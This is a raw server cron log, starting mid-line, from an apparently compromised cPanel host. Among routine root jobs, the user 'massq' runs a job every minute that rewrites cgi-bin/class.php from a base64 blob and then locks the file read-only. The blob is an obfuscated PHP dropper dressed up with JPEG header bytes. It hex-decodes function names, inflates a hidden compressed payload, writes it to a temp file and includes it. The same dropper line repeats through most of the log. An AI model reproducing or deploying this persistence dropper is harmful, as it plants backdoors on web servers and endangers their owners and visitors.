EyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:25:01 server CROND[4035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:26:01 server CROND[4861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:26:01 server CROND[4862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:26:01 server CROND[4864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:27:01 server CROND[5242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:27:01 server CROND[5244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:27:01 server CROND[5245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:27:01 server CROND[5246]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 18:28:01 server CROND[5718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:28:01 server CROND[5720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:28:01 server CROND[5719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:29:01 server CROND[6135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:29:01 server CROND[6134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:29:01 server CROND[6136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:30:01 server CROND[6530]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 18:30:01 server CROND[6533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:30:01 server CROND[6532]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:30:01 server CROND[6538]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:30:01 server CROND[6534]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 18:30:01 server CROND[6535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:30:01 server CROND[6536]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 18:30:01 server CROND[6537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:31:01 server CROND[7394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:31:01 server CROND[7395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:31:01 server CROND[7396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:32:01 server CROND[7795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:32:01 server CROND[7796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:32:01 server CROND[7797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:33:01 server CROND[8275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:33:01 server CROND[8276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:33:01 server CROND[8277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:34:01 server CROND[8712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:34:01 server CROND[8713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:34:01 server CROND[8714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:35:01 server CROND[9116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:35:01 server CROND[9117]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 18:35:01 server CROND[9119]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 18:35:01 server CROND[9123]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 18:35:01 server CROND[9127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:35:01 server CROND[9126]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:35:01 server CROND[9132]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:35:01 server CROND[9128]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 18:35:01 server CROND[9130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:36:01 server CROND[9985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:36:01 server CROND[9987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:36:01 server CROND[9986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:37:01 server CROND[10436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:37:01 server CROND[10435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:37:01 server CROND[10437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:38:01 server CROND[10909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
